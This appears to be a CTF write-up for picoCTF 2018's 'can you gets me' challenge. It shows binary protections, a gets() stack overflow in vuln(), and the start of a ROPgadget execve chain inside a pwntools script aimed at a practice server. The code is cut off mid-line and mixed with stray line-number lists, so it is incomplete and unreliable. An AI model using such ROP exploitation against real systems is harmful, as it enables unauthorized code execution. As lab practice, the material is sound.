picoctf_2018_can_you_gets_me

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
1
2
3
4
5

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('

• 1
• 2
• 3
• 4
• 5
• 6
• 7
• 8
• 9
• 10
• 11
• 12
• 13
• 14
• 15
• 16
• 17
• 18
• 19
• 20
• 21
• 22
• 23
• 24
• 25
• 26
• 27
• 28
• 29
• 30
• 31
• 32
• 33
• 34
• 35
• 36
• 37
• 38
• 39
• 40
• 41
• 42

果不其然

然后去ida看看溢出点

int vuln()
{
  char v1[24]; // [esp+0h] [ebp-18h] BYREF

  puts("GIVE ME YOUR NAME!");
  return gets(v1);
}
1
2
3
4
5
6
7

秒了

思路

栈溢出直接ROPchain

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",25457,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')

def pwn():
    from struct import pack
    # Padding goes here
    p = cyclic(0x1c)+b''

    p += pack('